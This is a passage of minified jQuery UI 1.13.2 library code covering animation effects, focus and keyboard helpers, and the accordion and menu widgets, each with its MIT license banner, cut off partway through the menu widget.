ti=n.effects.define("explode","hide",function(t,i){function k(){p.push(this);p.length===e*c&&d()}function d(){o.css({visibility:"visible"});n(p).remove();i()}for(var u,l,a,v,y,e=t.pieces?Math.round(Math.sqrt(t.pieces)):3,c=e,o=n(this),b=t.mode,f=b==="show",w=o.show().css("visibility","hidden").offset(),s=Math.ceil(o.outerWidth()/c),h=Math.ceil(o.outerHeight()/e),p=[],r=0;r<e;r++)for(a=w.top+r*h,y=r-(e-1)/2,u=0;u<c;u++)l=w.left+u*s,v=u-(c-1)/2,o.clone().appendTo("body").wrap("<div><\/div>").css({position:"absolute",visibility:"visible",left:-u*s,top:-r*h}).parent().addClass("ui-effects-explode").css({position:"absolute",overflow:"hidden",width:s,height:h,left:l+(f?v*s:0),top:a+(f?y*h:0),opacity:f?0:1}).animate({left:l+(f?0:v*s),top:a+(f?0:y*h),opacity:f?1:0},t.duration||500,t.easing,k)});
/*!
 * jQuery UI Effects Fade 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
ii=n.effects.define("fade","toggle",function(t,i){var r=t.mode==="show";n(this).css("opacity",r?0:1).animate({opacity:r?1:0},{queue:!1,duration:t.duration,easing:t.easing,complete:i})});
/*!
 * jQuery UI Effects Fold 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
ri=n.effects.define("fold","hide",function(t,i){var u=n(this),l=t.mode,v=l==="show",y=l==="hide",o=t.size||15,a=/([0-9]+)%/.exec(o),p=!!t.horizFirst,f=p?["right","bottom"]:["bottom","right"],s=t.duration/2,h=n.effects.createPlaceholder(u),e=u.cssClip(),c={clip:n.extend({},e)},r={clip:n.extend({},e)},w=[e[f[0]],e[f[1]]],b=u.queue().length;a&&(o=parseInt(a[1],10)/100*w[y?0:1]);c.clip[f[0]]=o;r.clip[f[0]]=o;r.clip[f[1]]=0;v&&(u.cssClip(r.clip),h&&h.css(n.effects.clipToBox(r)),r.clip=e);u.queue(function(i){h&&h.animate(n.effects.clipToBox(c),s,t.easing).animate(n.effects.clipToBox(r),s,t.easing);i()}).animate(c,s,t.easing).animate(r,s,t.easing).queue(i);n.effects.unshift(u,b,4)});
/*!
 * jQuery UI Effects Highlight 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
ui=n.effects.define("highlight","show",function(t,i){var r=n(this),u={backgroundColor:r.css("backgroundColor")};t.mode==="hide"&&(u.opacity=0);n.effects.saveStyle(r);r.css({backgroundImage:"none",backgroundColor:t.color||"#ffff99"}).animate(u,{queue:!1,duration:t.duration,easing:t.easing,complete:i})});
/*!
 * jQuery UI Effects Size 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
fi=n.effects.define("size",function(t,i){var l,r,p,u=n(this),v=["fontSize"],s=["borderTopWidth","borderBottomWidth","paddingTop","paddingBottom"],h=["borderLeftWidth","borderRightWidth","paddingLeft","paddingRight"],w=t.mode,y=w!=="effect",c=t.scale||"both",b=t.origin||["middle","center"],k=u.css("position"),a=u.position(),o=n.effects.scaledDimensions(u),f=t.from||o,e=t.to||n.effects.scaledDimensions(u,0);n.effects.createPlaceholder(u);w==="show"&&(p=f,f=e,e=p);r={from:{y:f.height/o.height,x:f.width/o.width},to:{y:e.height/o.height,x:e.width/o.width}};(c==="box"||c==="both")&&(r.from.y!==r.to.y&&(f=n.effects.setTransition(u,s,r.from.y,f),e=n.effects.setTransition(u,s,r.to.y,e)),r.from.x!==r.to.x&&(f=n.effects.setTransition(u,h,r.from.x,f),e=n.effects.setTransition(u,h,r.to.x,e)));(c==="content"||c==="both")&&r.from.y!==r.to.y&&(f=n.effects.setTransition(u,v,r.from.y,f),e=n.effects.setTransition(u,v,r.to.y,e));b&&(l=n.effects.getBaseline(b,o),f.top=(o.outerHeight-f.outerHeight)*l.y+a.top,f.left=(o.outerWidth-f.outerWidth)*l.x+a.left,e.top=(o.outerHeight-e.outerHeight)*l.y+a.top,e.left=(o.outerWidth-e.outerWidth)*l.x+a.left);delete f.outerHeight;delete f.outerWidth;u.css(f);(c==="content"||c==="both")&&(s=s.concat(["marginTop","marginBottom"]).concat(v),h=h.concat(["marginLeft","marginRight"]),u.find("*[width]").each(function(){var i=n(this),u=n.effects.scaledDimensions(i),f={height:u.height*r.from.y,width:u.width*r.from.x,outerHeight:u.outerHeight*r.from.y,outerWidth:u.outerWidth*r.from.x},e={height:u.height*r.to.y,width:u.width*r.to.x,outerHeight:u.height*r.to.y,outerWidth:u.width*r.to.x};r.from.y!==r.to.y&&(f=n.effects.setTransition(i,s,r.from.y,f),e=n.effects.setTransition(i,s,r.to.y,e));r.from.x!==r.to.x&&(f=n.effects.setTransition(i,h,r.from.x,f),e=n.effects.setTransition(i,h,r.to.x,e));y&&n.effects.saveStyle(i);i.css(f);i.animate(e,t.duration,t.easing,function(){y&&n.effects.restoreStyle(i)})}));u.animate(e,{queue:!1,duration:t.duration,easing:t.easing,complete:function(){var t=u.offset();e.opacity===0&&u.css("opacity",f.opacity);y||(u.css("position",k==="static"?"relative":k).offset(t),n.effects.saveStyle(u));i()}})});
/*!
 * jQuery UI Effects Scale 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
ei=n.effects.define("scale",function(t,i){var u=n(this),f=t.mode,e=parseInt(t.percent,10)||(parseInt(t.percent,10)===0?0:f!=="effect"?0:100),r=n.extend(!0,{from:n.effects.scaledDimensions(u),to:n.effects.scaledDimensions(u,e,t.direction||"both"),origin:t.origin||["middle","center"]},t);t.fade&&(r.from.opacity=1,r.to.opacity=0);n.effects.effect.size.call(this,r,i)});
/*!
 * jQuery UI Effects Puff 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
oi=n.effects.define("puff","hide",function(t,i){var r=n.extend(!0,{},t,{fade:!0,percent:parseInt(t.percent,10)||150});n.effects.effect.scale.call(this,r,i)});
/*!
 * jQuery UI Effects Pulsate 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
si=n.effects.define("pulsate","show",function(t,i){var r=n(this),e=t.mode,o=e==="show",c=e==="hide",l=o||c,f=(t.times||5)*2+(l?1:0),s=t.duration/f,u=0,h=1,a=r.queue().length;for((o||!r.is(":visible"))&&(r.css("opacity",0).show(),u=1);h<f;h++)r.animate({opacity:u},s,t.easing),u=1-u;r.animate({opacity:u},s,t.easing);r.queue(i);n.effects.unshift(r,a,f+1)});
/*!
 * jQuery UI Effects Shake 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
hi=n.effects.define("shake",function(t,i){var l=1,r=n(this),f=t.direction||"left",e=t.distance||20,a=t.times||3,v=a*2+1,u=Math.round(t.duration/v),o=f==="up"||f==="down"?"top":"left",s=f==="up"||f==="left",h={},c={},y={},p=r.queue().length;for(n.effects.createPlaceholder(r),h[o]=(s?"-=":"+=")+e,c[o]=(s?"+=":"-=")+e*2,y[o]=(s?"-=":"+=")+e*2,r.animate(h,u,t.easing);l<a;l++)r.animate(c,u,t.easing).animate(y,u,t.easing);r.animate(c,u,t.easing).animate(h,u/2,t.easing).queue(i);n.effects.unshift(r,p,v+1)});
/*!
 * jQuery UI Effects Slide 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
ci=n.effects.define("slide","show",function(t,i){var s,o,u=n(this),h={up:["bottom","top"],down:["top","bottom"],left:["right","left"],right:["left","right"]},c=t.mode,f=t.direction||"left",e=f==="up"||f==="down"?"top":"left",l=f==="up"||f==="left",a=t.distance||u[e==="top"?"outerHeight":"outerWidth"](!0),r={};n.effects.createPlaceholder(u);s=u.cssClip();o=u.position()[e];r[e]=(l?-1:1)*a+o;r.clip=u.cssClip();r.clip[h[f][1]]=r.clip[h[f][0]];c==="show"&&(u.cssClip(r.clip),u.css(e,r[e]),r.clip=s,r[e]=o);u.animate(r,{queue:!1,duration:t.duration,easing:t.easing,complete:i})});
/*!
 * jQuery UI Effects Transfer 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
n.uiBackCompat!==!1&&(b=n.effects.define("transfer",function(t,i){n(this).transfer(t,i)}));li=b;
/*!
 * jQuery UI Focusable 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
n.ui.focusable=function(t,i){var u,f,e,r,o,s=t.nodeName.toLowerCase();return"area"===s?(u=t.parentNode,f=u.name,!t.href||!f||u.nodeName.toLowerCase()!=="map")?!1:(e=n("img[usemap='#"+f+"']"),e.length>0&&e.is(":visible")):(/^(input|select|textarea|button|object)$/.test(s)?(r=!t.disabled,r&&(o=n(t).closest("fieldset")[0],o&&(r=!o.disabled))):r="a"===s?t.href||i:i,r&&n(t).is(":visible")&&ai(n(t)))};n.extend(n.expr.pseudos,{focusable:function(t){return n.ui.focusable(t,n.attr(t,"tabindex")!=null)}});vi=n.ui.focusable;yi=n.fn._form=function(){return typeof this[0].form=="string"?this.closest("form"):n(this[0].form)};
/*!
 * jQuery UI Form Reset Mixin 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
pi=n.ui.formResetMixin={_formResetHandler:function(){var t=n(this);setTimeout(function(){var i=t.data("ui-form-reset-instances");n.each(i,function(){this.refresh()})})},_bindFormResetHandler:function(){if(this.form=this.element._form(),this.form.length){var n=this.form.data("ui-form-reset-instances")||[];if(!n.length)this.form.on("reset.ui-form-reset",this._formResetHandler);n.push(this);this.form.data("ui-form-reset-instances",n)}},_unbindFormResetHandler:function(){if(this.form.length){var t=this.form.data("ui-form-reset-instances");t.splice(n.inArray(this,t),1);t.length?this.form.data("ui-form-reset-instances",t):this.form.removeData("ui-form-reset-instances").off("reset.ui-form-reset")}}};
/*!
 * jQuery UI Support for jQuery core 1.8.x and newer 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 *
 */
n.expr.pseudos||(n.expr.pseudos=n.expr[":"]);n.uniqueSort||(n.uniqueSort=n.unique);n.escapeSelector||(it=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g,rt=function(n,t){return t?n==="\0"?"�":n.slice(0,-1)+"\\"+n.charCodeAt(n.length-1).toString(16)+" ":"\\"+n},n.escapeSelector=function(n){return(n+"").replace(it,rt)});n.fn.even&&n.fn.odd||n.fn.extend({even:function(){return this.filter(function(n){return n%2==0})},odd:function(){return this.filter(function(n){return n%2==1})}});
/*!
 * jQuery UI Keycode 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
wi=n.ui.keyCode={BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38};
/*!
 * jQuery UI Labels 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
bi=n.fn.labels=function(){var t,r,u,i,f;return this.length?this[0].labels&&this[0].labels.length?this.pushStack(this[0].labels):(i=this.eq(0).parents("label"),u=this.attr("id"),u&&(t=this.eq(0).parents().last(),f=t.add(t.length?t.siblings():this.siblings()),r="label[for='"+n.escapeSelector(u)+"']",i=i.add(f.find(r).addBack(r))),this.pushStack(i)):this.pushStack([])};
/*!
 * jQuery UI Scroll Parent 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
ki=n.fn.scrollParent=function(t){var i=this.css("position"),u=i==="absolute",f=t?/(auto|scroll|hidden)/:/(auto|scroll)/,r=this.parents().filter(function(){var t=n(this);return u&&t.css("position")==="static"?!1:f.test(t.css("overflow")+t.css("overflow-y")+t.css("overflow-x"))}).eq(0);return i==="fixed"||!r.length?n(this[0].ownerDocument||document):r};
/*!
 * jQuery UI Tabbable 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
di=n.extend(n.expr.pseudos,{tabbable:function(t){var i=n.attr(t,"tabindex"),r=i!=null;return(!r||i>=0)&&n.ui.focusable(t,r)}});
/*!
 * jQuery UI Unique ID 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
gi=n.fn.extend({uniqueId:function(){var n=0;return function(){return this.each(function(){this.id||(this.id="ui-id-"+ ++n)})}}(),removeUniqueId:function(){return this.each(function(){/^ui-id-\d+$/.test(this.id)&&n(this).removeAttr("id")})}});
/*!
 * jQuery UI Accordion 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
nr=n.widget("ui.accordion",{version:"1.13.2",options:{active:0,animate:{},classes:{"ui-accordion-header":"ui-corner-top","ui-accordion-header-collapsed":"ui-corner-all","ui-accordion-content":"ui-corner-bottom"},collapsible:!1,event:"click",header:function(n){return n.find("> li > :first-child").add(n.find("> :not(li)").even())},heightStyle:"auto",icons:{activeHeader:"ui-icon-triangle-1-s",header:"ui-icon-triangle-1-e"},activate:null,beforeActivate:null},hideProps:{borderTopWidth:"hide",borderBottomWidth:"hide",paddingTop:"hide",paddingBottom:"hide",height:"hide"},showProps:{borderTopWidth:"show",borderBottomWidth:"show",paddingTop:"show",paddingBottom:"show",height:"show"},_create:function(){var t=this.options;this.prevShow=this.prevHide=n();this._addClass("ui-accordion","ui-widget ui-helper-reset");this.element.attr("role","tablist");t.collapsible||t.active!==!1&&t.active!=null||(t.active=0);this._processPanels();t.active<0&&(t.active+=this.headers.length);this._refresh()},_getCreateEventData:function(){return{header:this.active,panel:this.active.length?this.active.next():n()}},_createIcons:function(){var i,r,t=this.options.icons;t&&(i=n("<span>"),this._addClass(i,"ui-accordion-header-icon","ui-icon "+t.header),i.prependTo(this.headers),r=this.active.children(".ui-accordion-header-icon"),this._removeClass(r,t.header)._addClass(r,null,t.activeHeader)._addClass(this.headers,"ui-accordion-icons"))},_destroyIcons:function(){this._removeClass(this.headers,"ui-accordion-icons");this.headers.children(".ui-accordion-header-icon").remove()},_destroy:function(){var n;this.element.removeAttr("role");this.headers.removeAttr("role aria-expanded aria-selected aria-controls tabIndex").removeUniqueId();this._destroyIcons();n=this.headers.next().css("display","").removeAttr("role aria-hidden aria-labelledby").removeUniqueId();this.options.heightStyle!=="content"&&n.css("height","")},_setOption:function(n,t){if(n==="active"){this._activate(t);return}n==="event"&&(this.options.event&&this._off(this.headers,this.options.event),this._setupEvents(t));this._super(n,t);n!=="collapsible"||t||this.options.active!==!1||this._activate(0);n==="icons"&&(this._destroyIcons(),t&&this._createIcons())},_setOptionDisabled:function(n){this._super(n);this.element.attr("aria-disabled",n);this._toggleClass(null,"ui-state-disabled",!!n);this._toggleClass(this.headers.add(this.headers.next()),null,"ui-state-disabled",!!n)},_keydown:function(t){if(!t.altKey&&!t.ctrlKey){var i=n.ui.keyCode,u=this.headers.length,f=this.headers.index(t.target),r=!1;switch(t.keyCode){case i.RIGHT:case i.DOWN:r=this.headers[(f+1)%u];break;case i.LEFT:case i.UP:r=this.headers[(f-1+u)%u];break;case i.SPACE:case i.ENTER:this._eventHandler(t);break;case i.HOME:r=this.headers[0];break;case i.END:r=this.headers[u-1]}r&&(n(t.target).attr("tabIndex",-1),n(r).attr("tabIndex",0),n(r).trigger("focus"),t.preventDefault())}},_panelKeyDown:function(t){t.keyCode===n.ui.keyCode.UP&&t.ctrlKey&&n(t.currentTarget).prev().trigger("focus")},refresh:function(){var t=this.options;this._processPanels();(t.active!==!1||t.collapsible!==!0)&&this.headers.length?t.active===!1?this._activate(0):this.active.length&&!n.contains(this.element[0],this.active[0])?this.headers.length===this.headers.find(".ui-state-disabled").length?(t.active=!1,this.active=n()):this._activate(Math.max(0,t.active-1)):t.active=this.headers.index(this.active):(t.active=!1,this.active=n());this._destroyIcons();this._refresh()},_processPanels:function(){var t=this.headers,n=this.panels;this.headers=typeof this.options.header=="function"?this.options.header(this.element):this.element.find(this.options.header);this._addClass(this.headers,"ui-accordion-header ui-accordion-header-collapsed","ui-state-default");this.panels=this.headers.next().filter(":not(.ui-accordion-content-active)").hide();this._addClass(this.panels,"ui-accordion-content","ui-helper-reset ui-widget-content");n&&(this._off(t.not(this.headers)),this._off(n.not(this.panels)))},_refresh:function(){var t,i=this.options,r=i.heightStyle,u=this.element.parent();this.active=this._findActive(i.active);this._addClass(this.active,"ui-accordion-header-active","ui-state-active")._removeClass(this.active,"ui-accordion-header-collapsed");this._addClass(this.active.next(),"ui-accordion-content-active");this.active.next().show();this.headers.attr("role","tab").each(function(){var t=n(this),r=t.uniqueId().attr("id"),i=t.next(),u=i.uniqueId().attr("id");t.attr("aria-controls",u);i.attr("aria-labelledby",r)}).next().attr("role","tabpanel");this.headers.not(this.active).attr({"aria-selected":"false","aria-expanded":"false",tabIndex:-1}).next().attr({"aria-hidden":"true"}).hide();this.active.length?this.active.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0}).next().attr({"aria-hidden":"false"}):this.headers.eq(0).attr("tabIndex",0);this._createIcons();this._setupEvents(i.event);r==="fill"?(t=u.height(),this.element.siblings(":visible").each(function(){var i=n(this),r=i.css("position");r!=="absolute"&&r!=="fixed"&&(t-=i.outerHeight(!0))}),this.headers.each(function(){t-=n(this).outerHeight(!0)}),this.headers.next().each(function(){n(this).height(Math.max(0,t-n(this).innerHeight()+n(this).height()))}).css("overflow","auto")):r==="auto"&&(t=0,this.headers.next().each(function(){var i=n(this).is(":visible");i||n(this).show();t=Math.max(t,n(this).css("height","").height());i||n(this).hide()}).height(t))},_activate:function(t){var i=this._findActive(t)[0];i!==this.active[0]&&(i=i||this.active[0],this._eventHandler({target:i,currentTarget:i,preventDefault:n.noop}))},_findActive:function(t){return typeof t=="number"?this.headers.eq(t):n()},_setupEvents:function(t){var i={keydown:"_keydown"};t&&n.each(t.split(" "),function(n,t){i[t]="_eventHandler"});this._off(this.headers.add(this.headers.next()));this._on(this.headers,i);this._on(this.headers.next(),{keydown:"_panelKeyDown"});this._hoverable(this.headers);this._focusable(this.headers)},_eventHandler:function(t){var e,o,i=this.options,u=this.active,r=n(t.currentTarget),f=r[0]===u[0],s=f&&i.collapsible,c=s?n():r.next(),l=u.next(),h={oldHeader:u,oldPanel:l,newHeader:s?n():r,newPanel:c};(t.preventDefault(),(!f||i.collapsible)&&this._trigger("beforeActivate",t,h)!==!1)&&(i.active=s?!1:this.headers.index(r),this.active=f?n():r,this._toggle(h),this._removeClass(u,"ui-accordion-header-active","ui-state-active"),i.icons&&(e=u.children(".ui-accordion-header-icon"),this._removeClass(e,null,i.icons.activeHeader)._addClass(e,null,i.icons.header)),f||(this._removeClass(r,"ui-accordion-header-collapsed")._addClass(r,"ui-accordion-header-active","ui-state-active"),i.icons&&(o=r.children(".ui-accordion-header-icon"),this._removeClass(o,null,i.icons.header)._addClass(o,null,i.icons.activeHeader)),this._addClass(r.next(),"ui-accordion-content-active")))},_toggle:function(t){var r=t.newPanel,i=this.prevShow.length?this.prevShow:t.oldPanel;this.prevShow.add(this.prevHide).stop(!0,!0);this.prevShow=r;this.prevHide=i;this.options.animate?this._animate(r,i,t):(i.hide(),r.show(),this._toggleComplete(t));i.attr({"aria-hidden":"true"});i.prev().attr({"aria-selected":"false","aria-expanded":"false"});r.length&&i.length?i.prev().attr({tabIndex:-1,"aria-expanded":"false"}):r.length&&this.headers.filter(function(){return parseInt(n(this).attr("tabIndex"),10)===0}).attr("tabIndex",-1);r.attr("aria-hidden","false").prev().attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0})},_animate:function(n,t,i){var h,r,u,c=this,o=0,l=n.css("box-sizing"),a=n.length&&(!t.length||n.index()<t.index()),e=this.options.animate||{},f=a&&e.down||e,s=function(){c._toggleComplete(i)};if(typeof f=="number"&&(u=f),typeof f=="string"&&(r=f),r=r||f.easing||e.easing,u=u||f.duration||e.duration,!t.length)return n.animate(this.showProps,u,r,s);if(!n.length)return t.animate(this.hideProps,u,r,s);h=n.show().outerHeight();t.animate(this.hideProps,{duration:u,easing:r,step:function(n,t){t.now=Math.round(n)}});n.hide().animate(this.showProps,{duration:u,easing:r,complete:s,step:function(n,i){i.now=Math.round(n);i.prop!=="height"?l==="content-box"&&(o+=i.now):c.options.heightStyle!=="content"&&(i.now=Math.round(h-t.outerHeight()-o),o=0)}})},_toggleComplete:function(n){var t=n.oldPanel,i=t.prev();this._removeClass(t,"ui-accordion-content-active");this._removeClass(i,"ui-accordion-header-active")._addClass(i,"ui-accordion-header-collapsed");t.length&&(t.parent()[0].className=t.parent()[0].className);this._trigger("activate",null,n)}});tr=n.ui.safeActiveElement=function(n){var t;try{t=n.activeElement}catch(i){t=n.body}return t||(t=n.body),t.nodeName||(t=n.body),t};
/*!
 * jQuery UI Menu 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
ir=n.widget("ui.menu",{version:"1.13.2",defaultElement:"<ul>",delay:300,options:{icons:{submenu:"ui-icon-caret-1-e"},items:"> *",menus:"ul",position:{my:"left top",at:"right top"},role:"menu",blur:null,focus:null,select:null},_create:function(){this.activeMenu=this.element;this.mouseHandled=!1;this.lastMousePosition={x:null,y:null};this.element.uniqueId().attr({role:this.options.role,tabIndex:0});this._addClass("ui-menu","ui-widget ui-widget-content");this._on({"mousedown .ui-menu-item":function(n){n.preventDefault();this._activateItem(n)},"click .ui-menu-item":function(t){var i=n(t.target),r=n(n.ui.safeActiveElement(this.document[0]));!this.mouseHandled&&i.not(".ui-state-disabled").length&&(this.select(t),t.isPropagationStopped()||(this.mouseHandled=!0),i.has(".ui-menu").length?this.expand(t):!this.element.is(":focus")&&r.closest(".ui-menu").length&&(this.element.trigger("focus",[!0]),this.active&&this.active.parents(".ui-menu").length===1&&clearTimeout(this.timer)))},"mouseenter .ui-menu-item":"_activateItem","mousemove .ui-menu-item":"_activateItem",mouseleave:"collapseAll","mouseleave .ui-menu":"collapseAll",focus:function(n,t){var i=this.active||this._menuItems().first();t||this.focus(n,i)},blur:function(t){this._delay(function(){var i=!n.contains(this.element[0],n.ui.safeActiveElement(this.document[0]));i&&this.collapseAll(t)})},keydown:"_keydown"});this.refresh();this._on(this.document,{click:function(n){this._closeOnDocumentClick(n)&&this.collapseAll(n,!0);this.mouseHandled=!1}})},_activateItem:function(t){if(!this.previousFilter&&(t.clientX!==this.lastMousePosition.x||t.clientY!==this.lastMousePosition.y)){this.lastMousePosition={x:t.clientX,y:t.clientY};var r=n(t.target).closest(".ui-menu-item"),i=n(t.currentTarget);r[0]===i[0]&&(i.is(".ui-state-active")||(this._removeClass(i.siblings().children(".ui-state-active"),null,"ui-state-active"),this.focus(t,i)))}},_destroy:function(){var t=this.element.find(".ui-menu-item").removeAttr("role aria-disabled"),i=t.children(".ui-menu-item-wrapper").removeUniqueId().removeAttr("tabIndex role aria-haspopup");this.element.removeAttr("aria-activedescendant").find(".ui-menu").addBack().removeAttr("role aria-labelledby aria-expanded aria-hidden aria-disabled tabIndex").removeUniqueId().show();i.children().each(function(){var t=n(this);t.data("ui-menu-submenu-caret")&&t.remove()})},_keydown:function(t){var i,u,r,f,e=!0;switch(t.keyCode){case n.ui.keyCode.PAGE_UP:this.previousPage(t);break;case n.ui.keyCode.PAGE_DOWN:this.nextPage(t);break;case n.ui.keyCode.HOME:this._move("first","first",t);break;case n.ui.keyCode.END:this._move("last","last",t);break;case n.ui.keyCode.UP:this.previous(t);break;case n.ui.keyCode.DOWN:this.next(t);break;case n.ui.keyCode.LEFT:this.collapse(t);break;case n.ui.keyCode.RIGHT:this.active&&!this.active.is(".ui-state-disabled")&&this.expand(t);break;case n.ui.keyCode.ENTER:case n.ui.keyCode.SPACE:this._activate(t);break;case n.ui.keyCode.ESCAPE:this.collapse(t);break;default:e=!1;u=this.previousFilter||"";f=!1;r=t.keyCode>=96&&t.keyCode<=105?(t.keyCode-96).toString():String.fromCharCode(t.keyCode);clearTimeout(this.filterTimer);r===u?f=!0:r=u+r;i=this._filterMenuItems(r);i=f&&i.index(this.active.next())!==-1?this.active.nextAll(".ui-menu-item"):i;i.length||(r=String.fromCharCode(t.keyCode),i=this._filterMenuItems(r));i.length?(this.focus(t,i),this.previousFilter=r,this.filterTimer=this._delay(function(){delete this.previousFilter},1e3)):delete this.previousFilter}e&&t.preventDefault()},_activate:function(n){this.active&&!this.active.is(".ui-state-disabled")&&(this.active.children("[aria-haspopup='true']").length?this.expand(n):this.select(n))},refresh:function(){var u,t,f,i,e,r=this,s=this.options.icons.submenu,o=this.element.find(this.options.menus);this._toggleClass("ui-menu-icons",null,!!this.element.find(".ui-icon").length);f=o.filter(":not(.ui-menu)").hide().attr({role:this.options.role,"aria-hidden":"true","aria-expanded":"false"}).each(function(){var t=n(this),i=t.prev(),u=n("<span>").data("ui-menu-submenu-caret",!0);r._addClass(u,"ui-menu-icon","ui-icon "+s);i.attr("aria-haspopup","true").prepend(u);t.attr("aria-labelledby",i.attr("id"))});this._addClass(f,"ui-menu","ui-widget ui-widget-content ui-front");u=o.add(this.element);t=u.find(this.options.items);t.not(".ui-menu-item").each(function(){var t=n(this);r._isDivider(t)&&r._addClass(t,"ui-menu-divider","ui-widget-content")});i=t.not(".ui-menu-item, .ui-menu-divider");e=i.children().not(".ui-menu").uniqueId().attr({tabIndex:-1,role:this._itemRole()});this._addClass(i,"ui-menu-item")._addClass(e,"ui-menu-item-wrapper");t.filter(".ui-state-disabled").attr("aria-disabled","true");this.active&&!n.contains(this.element[0],this.active[0])&&this.blur()},_itemRole:function(){return{menu:"menuitem",listbox:"option"}[this.options.role]},_setOption:function(n,t){if(n==="icons"){var i=this.element.find(".ui-menu-icon");this._removeClass(i,null,this.options.icons.submenu)._addClass(i,null,t.submenu)}this._super(n,t)},_setOptionDisabled:function(n){this._super(n);this.element.attr("aria-disabled",String(n));this._toggleClass(null,"ui-state-disabled",!!n)},focus:function(n,t){var i,r,u;this.blur(n,n&&n.type==="focus");this._scrollIntoView(t);this.active=t.first();r=this.active.children(".ui-menu-item-wrapper");this._addClass(r,null,"ui-state-active");this.options.role&&this.element.attr("aria-activedescendant",r.attr("id"));u=this.active.parent().closest(".ui-menu-item").children(".ui-menu-item-wrapper");this._addClass(u,null,"ui-state-active");n&&n.type==="keydown"?this._close():this.timer=this._delay(function(){this._close()},this.delay);i=t.children(".ui-menu");i.length&&n&&/^mouse/.test(n.type)&&this._startOpening(i);this.activeMenu=t.parent();this._trigger("focus",n,{item:t})},_scrollIntoView:function(t){var e,o,i,r,u,f;this._hasScroll()&&(e=parseFloat(n.css(this.activeMenu[0],"borderTopWidth"))||0,o=parseFloat(n.css(this.activeMenu[0],"paddingTop"))||0,i=t.offset().top-this.activeMenu.offset().top-e-o,r=this.activeMenu.scrollTop(),u=this.activeMenu.height(),f=t.outerHeight(),i<0?this.activeMenu.scrollTop(r+i):i+f>u&&this.activeMenu.scrollTop(r+i-u+f))},blur:function(n,t){(t||clearTimeout(this.timer),this.active)&&(this._removeClass(this.active.children(".ui-menu-item-wrapper"),null,"ui-state-active"),this._trigger("blur",n,{item:this.active}),this.active=null)},_startOpening:function(n){(clearTimeout(this.timer),n.attr("aria-hidden")==="true")&&(this.timer=this._delay(function(){this._close();this._open(n)},this.delay))},_open:function(t){var i=n.extend({"of":this.active},this.options.position);clearTimeout(this.timer);this.element.find(".ui-menu").not(t.parents(".ui-menu")).hide().attr("aria-hidden","true");t.show().removeAttr("aria-hidden").attr("aria-expanded","true").position(i)},collapseAll:function(t,i){clearTimeout(this.timer);this.timer=this._delay(function(){var r=i?this.element:n(t&&t.target).closest(this.element.find(".ui-menu"));r.length||(r=this.element);this._close(r);this.blur(t);this._removeClass(r.find(".ui-state-active"),null,"ui-state-active");this.activeMenu=r},i?0:this.delay)},_close:function(n){n||(n=this.active?this.active.parent():this.element);n.find(".ui-menu").hide().attr("aria-hidden","true").attr("aria-expanded","false")},_closeOnDocumentClick:function(t){return!n(t.target).closest(".ui-menu").length},_isDivider:function(n){return!/[^\-\u2014\u2013\s]/.test(n.text())},collapse:function(n){var t=this.active&&this.active.parent().closest(".ui-menu-item",this.element);t&&t.length&&(this._close(),this.focus(n,t))},expand:function(n){var t=this.active&&this._menuItems(this.active.children(".ui-menu")).first();t&&t.length&&(this._open(t.parent()),this._delay(function(){this.focus(n,t)}))},next:function(n){this._move("next","first",n)},previous:function(n){this._move("prev","last",n)},isFirstItem:function(){return this.active&&!this.active.prevAll(".ui-menu-item").length},isLastItem:function(){return this.active&&!this.active.nextAll(".ui-menu-item").length},_menuItems:function(n){return(n||this.element).find(this.options.items).filter(".ui-menu-item")},_move:function(n,t,i){var 